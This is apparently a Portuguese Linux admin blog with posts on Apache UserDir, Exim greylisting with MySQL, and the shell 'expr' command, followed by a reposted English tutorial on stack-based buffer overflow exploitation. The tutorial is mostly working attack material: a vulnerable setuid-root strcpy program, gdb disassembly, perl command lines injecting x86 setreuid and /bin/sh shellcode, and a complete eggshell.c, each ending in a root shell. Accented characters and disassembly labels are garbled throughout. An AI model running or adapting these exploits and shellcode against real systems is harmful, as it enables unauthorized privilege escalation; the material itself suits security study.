Userdir no Apache

Com o param?tro UserDir voc? pode fazer com que os usu?rios de seu sistema possam publicar uma pasta no qual ser? publicada na Internet/Intranet.

Para isso basta adicionar a linha abaixo em seu httpd.conf

UserDir public_html

Depois basta criar uma pasta no home do usu?rio com o nome public_html e testar.

Simples n?o ?

Posted in Sem categoria

GrayList no servdir de emails (EXIM/MYSQL) – Mini tutorial

Este artigo foi tirado do site Dicas-L da Unicamp.

Colabora??o: Silmar A. Marca

Graylist ? uma lista “cinza”, onde o servidor rejeita a
mensagem por um determinado tempo. Tal atitude forca a
mensagem a ser re-enviada, o que geralmente n?o acontece
caso a mesma seja enviada por um servidor de SPAM ou por
in?meros tipos de VIRUS. Uma vez a mensagem conseguir ser
enviada, o servidor que a enviou poder? postar sucessivas
mensagens sem atraso.

Funciona bem na vers?o 4.50 ou superior do EXIM. ?
pr?-requisito compilar o exim com suporte a mysql.

Vale a pena ressaltar que o GrayList apresentado ?
modificado do padr?o original. O mesmo valida apenas o
dominio de quem envia e a rede do mesmo. Valida tamb?m
mensagens de erro (Bounce). Tal modifica??o tem apresentado
os efeitos positivos de diminuir atrasos na entrega da
mensagem em caso de round-robing nos ips de entrega,
isto sem causar impacto na eficiencia da ferramenta.

Observa se que ? importante adicionar o graylist no final
das clausulas rcpt e data e n?o no inicio! Adicionar
antes do aceite final para qualquer hosts! A mesma n?o
impede usuarios autenticados, relay Hosts e SPF validados
(caso habilitado).

Partes do c?digo foram baseados em diversos tutorias na internet.

– Site do EXIM (http://www.exim.org/)
– MYSQL (http://www.mysql.org/)
– SPF (http://www.libspf2.org/)

Criar tabela no mysql:
======================

#
# Estrutura da tabela `greylist`
#

CREATE TABLE `greylist` (
`id` bigint(20) NOT NULL auto_increment,
`relay_ip` varchar(20) default NULL,
`sender_type` enum(‘NORMAL’,’BOUNCE’) NOT NULL default ‘NORMAL’,
`sender` varchar(150) default NULL,
`recipient` varchar(150) default NULL,
`block_expires` datetime NOT NULL default ‘0000-00-00 00:00:00’,
`record_expires` datetime NOT NULL default ‘9999-12-31 23:59:59’,
`create_time` datetime NOT NULL default ‘0000-00-00 00:00:00’,
`TYPE` enum(‘AUTO’,’MANUAL’) NOT NULL default ‘MANUAL’,
`passcount` bigint(20) NOT NULL default ‘0’,
`last_pass` datetime NOT NULL default ‘0000-00-00 00:00:00’,
`blockcount` bigint(20) NOT NULL default ‘0’,
`last_block` datetime NOT NULL default ‘0000-00-00 00:00:00’,
PRIMARY KEY (`id`),
UNIQUE KEY `relay_ip` (`relay_ip`,`sender`,`recipient`,`sender_type`)
) TYPE=MyISAM COMMENT=’GrayList ‘;

# ——————————————————–

#
# Estrutura da tabela `greylist_log`
#

CREATE TABLE `greylist_log` (
`id` bigint(20) NOT NULL auto_increment,
`listid` bigint(20) NOT NULL default ‘0’,
`timestamp` datetime NOT NULL default ‘0000-00-00 00:00:00’,
`kind` enum(‘deferred’,’accepted’) NOT NULL default ‘deferred’,
PRIMARY KEY (`id`)
) TYPE=MyISAM COMMENT=’GrayList Log’;

Arquivo exim.conf:
==================

< ..Outras configuracoes iniciais...>

#Comentar caso nao haja base Mysql
MYSQL_SERVER = “localhost/baseexim/usuarioeximbd/senhaeximbd”

#-DEF: Lista GreyList (Defer Temporario)
.ifdef MYSQL_SERVER
GREYLIST_ENABLED_GREY = yes
# GREYLIST_ENABLED_LOG = yes
GREYLIST_INITIAL_DELAY = 12 MINUTE
GREYLIST_INITIAL_LIFETIME = 4 HOUR
GREYLIST_WHITE_LIFETIME = 36 DAY
GREYLIST_BOUNCE_LIFETIME = 7 DAY
GREYLIST_RECORD_LIFETIME = 90 DAY
GREYLIST_TABLE = greylist
GREYLIST_LOG_TABLE = greylist_log
# GREYLIST_SKPSPF = yes
.endif

< ..Outras configuracoes iniciais...>

.ifdef MYSQL_SERVER
.ifdef GREYLIST_ENABLED_GREY
GREYLIST_TEST = SELECT CASE \
WHEN now() > block_expires THEN “accepted” \
ELSE “deferred” \
END AS result, id \
FROM GREYLIST_TABLE \
WHERE (now() < record_expires) \
AND (sender_type = ${if def:sender_address_domain{‘NORMAL’}{‘BOUNCE’}}) \
AND (sender = ‘${quote_mysql:${if def:sender_address_domain{$sender_address_domain}{${domain:$h_from:}}}}’) \
AND (recipient = ‘${quote_mysql:${if def:domain{$domain}{${domain:$h_to:}}}}’) \
AND (relay_ip = ‘${quote_mysql:${mask:$sender_host_address/24}}’) \
ORDER BY result DESC LIMIT 1

GREYLIST_ADD = REPLACE INTO GREYLIST_TABLE \
(relay_ip, sender_type, sender, recipient, block_expires, \
record_expires, create_time, type) \
VALUES ( ‘${quote_mysql:${mask:$sender_host_address/24}}’, \
${if def:sender_address_domain{‘NORMAL’}{‘BOUNCE’}}, \
‘${quote_mysql:${if def:sender_address_domain{$sender_address_domain}{${domain:$h_from:}}}}’, \
‘${quote_mysql:${if def:domain{$domain}{${domain:$h_to:}}}}’, \
DATE_ADD(now(), INTERVAL GREYLIST_INITIAL_DELAY), \
DATE_ADD(now(), INTERVAL GREYLIST_INITIAL_LIFETIME), \
now(), \
‘AUTO’ \
)

GREYLIST_DEFER_HIT = UPDATE GREYLIST_TABLE \
SET blockcount=blockcount+1, last_block=now() \
WHERE id = $acl_m9

GREYLIST_OK_COUNT = UPDATE GREYLIST_TABLE \
SET passcount=passcount+1, last_pass=now() \
WHERE id = $acl_m9

GREYLIST_OK_NEWTIME = UPDATE GREYLIST_TABLE \
SET record_expires = DATE_ADD(now(), INTERVAL GREYLIST_WHITE_LIFETIME) \
WHERE id = $acl_m9 AND type=’AUTO’

GREYLIST_OK_BOUNCE = UPDATE GREYLIST_TABLE \
SET record_expires = DATE_ADD(now(), INTERVAL GREYLIST_BOUNCE_LIFETIME) \
WHERE id = $acl_m9 AND type=’AUTO’

GREYLIST_CLEAN = DELETE FROM GREYLIST_TABLE \
WHERE (record_expires > DATE_ADD(now(), INTERVAL GREYLIST_RECORD_LIFETIME)) AND (type=’AUTO’)

GREYLIST_LOG = INSERT INTO GREYLIST_LOG_TABLE \
(listid, timestamp, kind) \
VALUES ($acl_m9, now(), ‘$acl_m8’)
.endif
.endif

< ..Outras configuracoes iniciais...>

#-Definicao da ACL. Clausula GreyList (ocorre antes do rcpt e do data):
.ifdef GREYLIST_ENABLED_GREY
greylist_acl:

# Limpar tabela automaticamente 09:3xBRST 10:3xBRDT (horario normal)
warn condition = ${if eq {${substr{9}{3}{$tod_zulu}}} {123}{yes}{no}}
set acl_m4 = ${lookup mysql{GREYLIST_CLEAN}}

warn set acl_m8 = ${lookup mysql{GREYLIST_TEST}{$value}{result=unknown}}
set acl_m9 = ${extract{id}{$acl_m8}{$value}{-1}}
set acl_m8 = ${extract{result}{$acl_m8}{$value}{unknown}}

accept
condition = ${if eq {$acl_m8} {unknown} {yes}}
condition = ${lookup mysql{GREYLIST_ADD}{yes}{no}}

.ifdef GREYLIST_ENABLED_LOG
warn condition = ${lookup mysql{GREYLIST_LOG}}
.endif

accept
condition = ${if eq{$acl_m8} {deferred} {yes}}
condition = ${lookup mysql{GREYLIST_DEFER_HIT}{yes}{yes}}

warn condition = ${lookup mysql{GREYLIST_OK_COUNT}}

warn !senders = : postmaster@* : Mailer-Daemon@*
condition = ${lookup mysql{GREYLIST_OK_NEWTIME}}
warn senders = : postmaster@* : Mailer-Daemon@*
condition = ${lookup mysql{GREYLIST_OK_BOUNCE}}
deny
.endif

< ..Outras configuracoes de ACL...>

acl_check_rcpt:
< ... Outras configuracoes deste rcpt. Como verifica??es de sender, aceitar relay_hosts e autenticados...>
< ... Geralmente coloca se esta clausula antes do accept final para quem n?o ? ralay_host e autenticado...>
.ifdef GREYLIST_ENABLED_GREY
defer hosts = !+relay_from_hosts
!authenticated = *
.ifdef GREYLIST_SKPSPF
!spf = pass
.endif
acl = greylist_acl
message = GreyListed: please try again later
delay = 15s
.endif
.endif

< ..Outras configuracoes. Outros ACLs...>

acl_check_data:
< ... Outras configuracoes deste rcpt. Como verifica??es de sender, aceitar relay_hosts e autenticados...>
< ... Geralmente coloca se esta clausula antes do accept final para quem n?o ? ralay_host e autenticado...>
.ifdef GREYLIST_ENABLED_GREY
defer
.ifdef GREYLIST_SKPSPF
!spf = pass
.endif
acl = greylist_acl
message = GreyListed: please try again later
delay = 15s
.endif

Posted in Sem categoria

Usando comando Expr.

O comando “expr” ? muito conhecido pelos programadores
shell(bash, ksh, sh, etc.), mas, a sua utiliza??o, na
maioria das vezes, restringe-se ao comando abaixo:

contador=`expr $contador + 1`

Este comando ir? incrementar o valor da vari?vel contador
em 1, outras formas de alcan?ar o mesmo objetivo em
Bash seriam:

let contador++
contador=$((contador+1))
contador=$(bc < << "$contador + 1")
? verdade que existem v?rias outras maneiras de fazer, mas,
o foco deste documento ? apresentar as funcionalidades do
comando “expr”, um poderoso processador de express?es.

Esse comando pode ser utilizado para processar expres?es
matem?ticas atrav?s de operadores l?gicos como |, >, >=,
&, que representam o OU, E, MAIOR QUE, etc., assim como
tamb?m pode utilizar operadores aritm?ticos como visto
no exemplo acima com o operador de adi??o ou +, outros
poss?veis seriam: % ou m?dulo, * ou multiplica??o.

Abaixo veremos exemplos de express?es aritm?ticas
utilizando alguns operadores assim como os par?nteses para
agrupar e definir a ordem de execu??o dos comandos:

$ expr \( 30 + 2 \) \* \( 13 % 2 \) – \( 2 \* \( 20 – 8 \) \)
8
$ expr \( 30 + 2 \) \* \( 13 % 2 \) – \( 2 \* \( 20 – 8 \) \) / 2
20
$ expr \( \( 30 + 2 \) \* \( 13 % 2 \) – \( 2 \* \( 20 – 8 \) \) \) / 2
4

Todos sabemos que o dom?nio do t?pico “Express?es
Regulares(RegEx)” ? de grande valia e utilidade para
qualquer programador, principalmente aqueles que utilizam
linguagens scripting como Perl, PHP, Shell, Python, Ruby,
estas muitas vezes utilizadas na manipula??o de Strings.

O “expr” possui suporte ? RegEx, assim como o comando
“grep”, logo, validar express?es torna-se um trabalho
vi?vel mesmo sem o “GNU grep/egrep”, estes nem sempre
est?o dispon?veis em algumas vers?es/sabores do UNIX.

A sintaxe para o processamento de uma String ou valida??o
contra um padr?o(pattern) utilizando express?es regulares
atrav?s do comando “expr” pode ser feita de duas maneiras:

expr STRING : REGEXP

expr match STRING REGEXP

Adotaremos aqui a primeira sintaxe mostrada acima. Para
tentarmos entender como funcionam as RegEx juntamente com
o comando expr, nada melhor que exemplos, logo abaixo
seguem alguns comandos com pequenos coment?ros, alguns
deles acompanhandos do comando equivalente em utilizando o
“GNU grep”:

– Cadeias de caracteres ou Strings que come?am por “D”
precedidas ou n?o de um ou mais espa?os ou caracteres
de tabula??o(TAB)

$ expr ” Dicas” : ‘[[:blank:]]*D’
2

$ expr “Dicas” : ‘[[:blank:]]*D’
1

$ expr ” Dicas” : ‘[[:blank:]]*D’
4

Primeiramente, deve-se deixar claro que, como na maioria
dos casos no mundo UNIX, a String ? tratada de modo “Case
Sensitive”, ou seja “D” ? diferente de “d”.

O caracteres “^” que geralmente determinam o in?cio de uma
cadeia de carecteres ? impl?cito, ou seja, o “expr”, por
si s?, j? entende que o padr?o acima descrito, utilizando
a RegEx ‘[[:blank:]]*D’, ? equivalente ao utilizado atrav?s
do comando “grep”:

$ echo ” Dicas” | grep “^[[:blank:]]*D”
Dicas

O comando acima seria o equivalente ao ?ltimo comando
“expr” mostrado, veja que ele utiliza o caractere “^” para
determinar o in?cio da linha ou da cadeia de caracteres.

Voltando ao comando: expr ” Dicas” : ‘[[:blank:]]*D’

Verificamos que a sa?da padr?o ? igual a 4, pois, de acordo
com a String que foi testada contra o padr?o em RegEx acima
existem 4 caracteres que est?o de acordo com a cadeia “
Dicas”: 3 espa?os e o caracter “D”.

O expr imprime na sa?da padr?o o n?mero de caracteres que
est?o de acordo com o padr?o testado, no ?ltimo caso,
4. Veremos logo abaixo como imprimir os caracteres que
est?o de acordo com o padr?o especificado na linha de
comando, o que ? bem mais interessante e ?til.

Vejam que a String ” Dicas” est? entre aspas duplas
e n?o entre aspas simples. ? interessante sempre adotar
este procedimento, pois, ao utilizar vari?veis, o valor
da vari?vel ? utilizado durante a express?o:

$ STR=” Dicas”
$ expr “$STR” : ‘[[:blank:]]*D’
4

– Como validar uma express?o?

Qual seria o comando “expr” para validar uma String que
pode ser resultado de uma entrada de usu?rio utilizando
o “read”, uma linha de um arquivo ou sa?da padr?o de um
comando? Utilizando “grep”, teremos:

$ STR=”localhost.localdomain”
$ echo “$STR” | grep -q “localhost” && echo OK
OK

if grep -q “localhost” /etc/hosts; then
echo “Existe”
else
echo “N?o existe”
fi

Estes exemplos s?o bem simples, o par?metro “-q” do comando
“grep” suprime a sa?da padr?o. O Bash ainda possibilita
a utilia??o da forma abaixo para “Pattern Matching”:

$ STR=”localhost.localdomain”
$ [[ $STR = l* ]] && echo OK
OK

Mas, ainda assim n?o ser? suficiente para alguns casos,
como veremos a seguir. Um exemplo mais interessante seria
a valida??o de um nome de diret?rio/arquivo ou uma String
em rela??o ao padr?o resultante do comando “date” abaixo:

$ date ‘+%d%m%y-%T’
260405-11:52:52

O expr pode ser empregado nesta situa??o. Abaixo veremos
que a representa??o “[[:digit:]]” equivale aos n?meros
de 0 a 9 ou “[0-9]”. Vejamos como seria o comando correto
para valida??o:

$ STR=`date ‘+%d%m%y-%T’`
$ expr “$STR” : ‘[[:digit:]]\{6\}-[[:digit:]]\{2\}:[[:digit:]]\{2\}:[[:digit:]]\{2\}’
15
$ echo $?
0

Como vimos, o comando “expr” acima retorna 0, ou seja,
quando h? um “matching” ele retorna “true” ou verdadeiro:
vari?vel $? igual a 0. O valor de retorno pode ser
armazenado em uma vari?vel e posteriormente verificado
atrav?s dos comandos abaixo:

STR=”Dicas-Linux eh legal”

expr “$STR” : ‘.*Linux.*’ > /dev/null

if [ $? -eq 0 ]; then
echo “Encontrado”
else
echo “Nada encontrado”
fi

O padr?o acima corresponde a qualquer cadeia que contenha
a palavra “Linux”. O caractere “.” equivale a qualquer
caractere. O retorno ser? verdadeiro, logo, ser? mostrado
na tela a palavra “Encontrado”.

Como retornar a cadeia que est? de acordo com o padr?o
especificado? Resposta: Utilizando par?nteses. Vamos a um
exemplo simples, mostrando o comando utilizado no come?o
deste documento:

$ expr ” Dicas” : ‘\([[:blank:]]*D\)’
D

Este comando retorna os caracteres da String que est?o
de acordo com o padr?o especificado atrav?s da RegEx e
demarcados pelos par?nteses. Note que os par?nteses devem
ser “escapados” com contra-barras para que n?o sejam
entendidos como um caractere literal “(” ou “)”.

O exemplo a seguir ? um pouco mais pr?tico. Como retirar da
String abaixo o n?mero de identifica??o do processo(PID)?

# tail -1 /var/log/secure
Apr 26 09:27:01 localhost sshd[2549]: error: Address already in use.
^^^^

Uma RegEx v?lida para esta situa??o seria:

‘[[:upper:]][[:alpha:]]\{2\} [[:digit:]]\{2\} [:[:digit:]]\{8\} [[:alnum:]]\{1,\} [[:alnum:]]\{1,\}\[[[:digit:]]\{1,\}\]: ‘

Note que ? poss?vel especificar o n?mero de ocorr?ncias
para cada representa??o(d?gitos, alfa-num?ricos,
etc.) indicando este n?mero entre chaves com contra-barras:
\{2\}, \{1,\}. Este ?ltimo quer dizer “um ou mais”.

Ao executar o comando abaixo vimos que ele retorna o n?mero
de caracteres:

$ expr “Apr 26 09:27:01 localhost sshd[2549]: error: Address already in use.” : ‘[[:upper:]][[:alpha:]]\{2\} [[:digit:]]\{2\} [:[:digit:]]\{8\} [[:alnum:]]\{1,\} [[:alnum:]]\{1,\}\[[[:digit:]]\{1,\}\]: ‘
38

Mas, se adicionarmos os par?nteses com contra-barras na
sub-cadeia que desejamos obter(PID), teremos:

$ expr “Apr 26 09:27:01 localhost sshd[2549]: error: Address already in use.” : ‘[[:upper:]][[:alpha:]]\{2\} [[:digit:]]\{2\} [:[:digit:]]\{8\} [[:alnum:]]\{1,\} [[:alnum:]]\{1,\}\[\([[:digit:]]\{1,\}\)\]: ‘
2549

Este documento teve por finalidade mostrar uma das
funcionalidades do comando “expr” com rela??o a
processamento de Strings, esta ferramenta que faz
parte do pacote “coreutils” ou “fileutils” dependendo
da distribui??o Linux, mas, que tamb?m ? encontrada na
maioria dos sistemas operacionais UNIX(testei em AIX,
HP-UX e SunOS/Solaris).

L?gico que, para tirar o m?ximo desta funcionalidade
? necess?rio um bom conhecimento sobre Express?es
Regulares. Para quem ainda n?o tem tanto conhecimento
neste t?pico, segue uma fonte muito boa para estudos,
este guia foi escrito pelo Aur?lio Marinho:

– EXPRESS?ES REGULARES (http://guia-er.sourceforge.net/guia-er.html)

Posted in Sem categoria

Stack-based Overflow Exploit: Introduction to Classical and Advanced Overflow Technique

Este artigo em ingl?s foi tirado do site http://neworder.box.sk/

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Stack-based Overflow Exploit

– Introduction to Classical and Advanced Overflow Technique –

By vangelis(vangelis@wowhacker.org)
Email: progressfree at hotmail.com

Thanks to beist(http://beist.org), naska!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

1. Introduction

In this document I will not talk about what overflow is and how much
serious it is. There are so many articles about them. Before going into
the main discussion, I make such a simple program as vul.c. Almost
everyone with a small knowledge of buffer overflow can find out what
the problem is. As you know, strcpy() function doesn?t mind how many
data we put into buffer.

[root@localhost bof]# cat > vul.c
int main(int argc, char *argv[])
{
char buffer[100];
strcpy(buffer,argv[1]);
}
[root@localhost bof]# gcc -o vul vul.c
[root@localhost bof]#./vul `perl -e ‘print “A”x124’`
Segmentation fault
[root@localhost bof]#

When we put 124 “A” into buffer, the vulnerable program got ‘Segmentation
fault.’ Someone may wonder why the vulnerable program got ‘Segmentation
fault’ when we put data more than 124 bytes. As you know, memory can only
be addressed in the word size(4 bytes). So we may think that the vulnerable
program gets ‘Segmentation fault’ when we put 104 bytes(26 words) data. The
key point is that there were some changes after gcc 2.96 version. If my
system uses gcc 2.95 version and below it, the vulnerable program will get
‘Segmentation fault’ when we put 104 bytes data. I will explain about the
main change.

The main change is that stack is aligned by 16 bytes after gcc 2.96. So
when main() function is called, the space for a local variable is filled by
16 bytes. Look at the following program.

—————————————————-
int main(int argc, char *argv[])
{
char buffer[n];
strcpy(buffer, argv[1]);
}
—————————————————-

The following shows the size of n in the “buffer[n]” and real memory size.

———————————————
size of n | real memory size
———————————————
1 – 16 | 24 bytes
———————————————
17 – 32 | 40 bytes
———————————————
33 – 48 | 56 bytes
———————————————
49 – 64 | 72 bytes
———————————————
65 – 80 | 88 bytes
———————————————
81 – 96 | 104 bytes
———————————————
97 -112 | 120 bytes
: :
———————————————

As we can see, there is a change in the real memory size when 16 bytes are
added to n.

16+16(=32)+16(=48)+16(=64)+16(=80)+16(=96)+16(=112)…….
24 40 56 72 88 104 120
16 + 16 + 16 + 16 + 16 + 16…….

But in my system there are some irregularity when n is between 1 and 16.
When n is 1, 2, 4, 8, the real size of memory is 8 bytes. Let’s have
another example.

—————————————————-
int main(int argc, char *argv[])
{
char buffer[10];
strcpy(buffer, argv[1]);
}
—————————————————-

In the case of below gcc 2.96, we will get a result as following:

buffer(12) – sfp(4) – ret(4)

But after gcc 2.96, we will get the result like following:

buffer(16) – dummy(8) – sfp(4) – ret(4).

We can see that there are 8 bytes dummy. Let’s check by using gdb.

[vangelis@heezin bof]$ gdb -q vul2
(gdb) disas main
Dump of assembler code for function main:
0x8048328

: push %ebp
0x8048329
: mov %esp,%ebp
0x804832b
: sub $0x18,%esp
0x804832e
: and $0xfffffff0,%esp
0x8048331
: mov $0x0,%eax
0x8048336
: sub %eax,%esp
0x8048338
: sub $0x8,%esp
0x804833b
: mov 0xc(%ebp),%eax
0x804833e
: add $0x4,%eax
0x8048341
: pushl (%eax)
0x8048343
: lea 0xffffffe8(%ebp),%eax
0x8048346
: push %eax
0x8048347
: call 0x8048268
0x804834c
: add $0x10,%esp
0x804834f
: mov $0x0,%eax
0x8048354
: leave
0x8048355
: ret
0x8048356
: nop
0x8048357
: nop
End of assembler dump.
(gdb)

Let’s go back to the vul.c. When we put 124 “A” into buffer, we got
‘Segmentation fault.’

Let’s check by using gdb.

[root@localhost bof]# gdb -q vul
(gdb) disas main
Dump of assembler code for function main:
0x8048328

: push %ebp
0x8048329
: mov %esp,%ebp
0x804832b
: sub $0x78,%esp
0x804832e
: and $0xfffffff0,%esp
0x8048331
: mov $0x0,%eax
0x8048336
: sub %eax,%esp
0x8048338
: sub $0x8,%esp
0x804833b
: mov 0xc(%ebp),%eax
0x804833e
: add $0x4,%eax
0x8048341
: pushl (%eax)
0x8048343
: lea 0xffffff88(%ebp),%eax
0x8048346
: push %eax
0x8048347
: call 0x8048268
0x804834c
: add $0x10,%esp
0x804834f
: mov $0x0,%eax
0x8048354
: leave
0x8048355
: ret
0x8048356
: nop
0x8048357
: nop
End of assembler dump.
(gdb)

As you can see, 120 bytes are allocated for the local variable. So, in
order to overflow the stack, we must put more than 124 bytes’ data. Remember
that you have to check how many data are allocated for local variables when
you exploit a vulnerable program.

The last thing to do is to change the owner and permission of the vulnerable
program. I make a simple program chogm.c to do it.

[root@localhost bof]# cat > chogm.c
#include
#include
#include
#include

int main()
{
char file_name[20];

printf(“Put the file name you want to chown and chmod: “);

scanf(“%s”,file_name);

chown(file_name,0,0);
chmod(file_name,04755);
exit(0);
}

[root@localhost bof]# gcc -o chogm chogm.c
[root@localhost bof]# ./chogm
Put the file name you want to chown and chmod: vul
[root@localhost bof]# ls -l vul
-rwsr-xr-x 1 root root 11352 10월 5 10:04 vul
[root@localhost bof]#

Now, it’s time to attack. I will suggest some techniques to exploit the
vulnerable program. At first, I will suggest two classical ways. And then I will
suggest more advanced ways which can be used under non-executable stack.

2. Classical Overflow Technique

The classical overflow technique uses the concept of overwriting the EIP
register with approximate address of many NOPs in memory or shellcode. We have to
guess and estimate the return address. If you are not familiar with the the
concept of classical overflow technique, I recommend you to read the Aleph One’s
“Smashing The Stack For Fun And Profit”(http://phrack.org/phrack/49/P49-14) and
other good articles which are related with this subject.

2.1. General Overflow Technique

The classical exploit payload is composed of the following.

———————————————-
| NOP | shellcode | (dummy) | return address |
———————————————-

I think most readers of this article are familiar with the classical way to exploit
the stack-based overflow. So, I will not explain in detail.

[root@localhost bof]# su vangelis
[vangelis@localhost bof]$ gdb -q vul
(gdb) disas main
Dump of assembler code for function main:
0x8048328

: push %ebp
0x8048329
: mov %esp,%ebp
0x804832b
: sub $0x78,%esp
0x804832e
: and $0xfffffff0,%esp
0x8048331
: mov $0x0,%eax
0x8048336
: sub %eax,%esp
0x8048338
: sub $0x8,%esp
0x804833b
: mov 0xc(%ebp),%eax
0x804833e
: add $0x4,%eax
0x8048341
: pushl (%eax)
0x8048343
: lea 0xffffff88(%ebp),%eax
0x8048346
: push %eax
0x8048347
: call 0x8048268
0x804834c
: add $0x10,%esp
0x804834f
: leave
0x8048350
: ret
0x8048351
: nop
0x8048352
: nop
0x8048353
: nop
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul
/bin/bash: /root/.bashrc: permission denied

Breakpoint 1, 0x0804832e in main ()
(gdb) x/x $ebp
0xbfffef08: 0xbfffef28 // return address: $ebp + 4: 0xbfffef08 + 4 = 0xbfffef0c
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$

It is quite easy to get the return address. The general stack form is following:

buffer – (dummy) – ebp(4) – ret(4)

So, to get the return address, we get $ebp first and then plus 4. The $ebp is
0xbfffef08. We add 4 to 0xbfffef08. And then we get the return address 0xbfffef0c.
However, we have to remember that the return address through using gdb may be not
correct. So, when we attack the vulnerable program and if the return address is
not correct, we have to add or subtract some bytes.

[vangelis@localhost bof]$ ./vul `perl -e ‘print “\x90″x72, “\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42x0b\xcd\x80”, “a”x20, “\x0c\xef\xff\xbf”‘`
Segmentation fault
[vangelis@localhost bof]$ ./vul `perl -e ‘print “\x90″x72, “\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80”, “a”x20, “\x0c\xf1xff\xbf”‘`
Segmentation fault
[vangelis@localhost bof]$ ./vul `perl -e ‘print “\x90″x72, “\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80”, “a”x20, “\x0c\xf2xff\xbf”‘`
sh-2.05b#

I got a root shell. But I think this way of exploiting is a little silly one.
Let’s use another classical way, using eggshell program.

2.2. Using “eggshell”

The way we use eggshell is to overwrite the return address of a vulnerable function
with the address we get after we execute the eggshell program. We have to keep in
mind that we must use a suitable setreuid shellcode to get a shell we want. If we
want to get a root shell, we have to use setreuid(0.0) code. If you don’t use the
setreuid(0,0) code, you can’t get a root shell. I will not discuss the way to make
shellcodes, because there are so many good documents about it.

[vangelis@localhost bof]$ cat > eggshell.c
#include

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
“\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80” /* setreuid(0,0) */
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long get_esp(void) {
__asm__(“movl %esp,%eax”);
}

int main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}

if (!(egg = malloc(eggsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}

addr = get_esp() – offset;
printf(“Using address: 0x%x\n”, addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
{
*(addr_ptr++) = addr;
}
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize – 1] = ‘\0’;
egg[eggsize – 1] = ‘\0’;
memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(buff,”RET=”,4);
putenv(buff);
system(“/bin/bash”);
}

[vangelis@localhost bof]$ gcc -o eggshell eggshell.c
[vangelis@localhost bof]$ ./eggshell
Using address: 0xbffff8f8
[vangelis@localhost bof]$ ./vul `perl -e ‘print “\xf8\xf8\xff\xbf”x31’`
Segmentation fault

When we ‘print “\xf8\xf8\xff\xbf”x31′(124 bytes), we overwrite ‘buffer’ and ‘ebp’
but not ‘return address’ yet. Do you remember how the stack of this vulnerable
program looks like? It is as follows.

buffer(100 bytes) – dummy(20 bytes) – ebp(4 bytes) – ret(4 bytes)

As you can see, we need 128 bytes data to overwrite the return address.

[vangelis@localhost bof]$ ./vul `perl -e ‘print “\xf8\xf8\xff\xbf”x32’`
sh-2.05b#

I got a root shell. It is much easier than the first way of exploiting. This
technique is quite helpful when a vulnerable program has small buffer, so we can’t
put shellcode directly into buffer like the first way. Let’s take another example
vul2.c. The size of memory allocated for the local variable is so small that we
can’t use the first classical way.

[vangelis@localhost bof]$ cat > vul2.c
int main(int argc, char *argv[])
{
char buff[7];

strcpy(buff, argv[1]);
return 0;
}

[vangelis@localhost bof]$ gcc -o vul2 vul2.c
[vangelis@localhost bof]$ su
Password:
[root@localhost bof]# ./chogm
Put the file name you want to chown and chmod: vul2
[root@localhost bof]# su vangelis
[vangelis@localhost bof]$ ls -l vul2
-rwsr-xr-x 1 root root 11353 10월 5 10:36 vul2
[vangelis@localhost bof]$ gdb -q vul2
(gdb) disas main
Dump of assembler code for function main:
0x8048328

: push %ebp
0x8048329
: mov %esp,%ebp
0x804832b
: sub $0x18,%esp
0x804832e
: and $0xfffffff0,%esp
0x8048331
: mov $0x0,%eax
0x8048336
: sub %eax,%esp
0x8048338
: sub $0x8,%esp
0x804833b
: mov 0xc(%ebp),%eax
0x804833e
: add $0x4,%eax
0x8048341
: pushl (%eax)
0x8048343
: lea 0xffffffe8(%ebp),%eax
0x8048346
: push %eax
0x8048347
: call 0x8048268
0x804834c
: add $0x10,%esp
0x804834f
: mov $0x0,%eax
0x8048354
: leave
0x8048355
: ret
0x8048356
: nop
0x8048357
: nop
End of assembler dump.
(gdb) q
[vangelis@localhost bof]$

The stack looks like this:

buffer(16) – dummy(8) – ebp(4) – ret(4)

We need 32 bytes to overwrite the return address.

[vangelis@localhost bof]$ ./vul2 `perl -e ‘print “\xf8\xf8\xff\xbf”x8’`
sh-2.05b#

I got a root shell!

3. Advanced Overflow Technique Under the Non-executable Stack

Now I will suggest more advanced techniques which can be used under executable
stack and non-executable stack situation. Most of them are called “return-into-libc”
technique. This technique was introduced to bypass the non-executable stack patch.
If you read Nergal’s “Advanced return-into-lib(c) exploits(PaX case Study)”
(http://phrack.org/phrack/58/p58-0x04) you can find the introduction history of
return-into-libc technique. Especially Nergal’s article and the ‘Referenced
publications and projects’ will help you to understand return-into-libc technique.
I also recommend you to read Nergal’s article and other related ones.

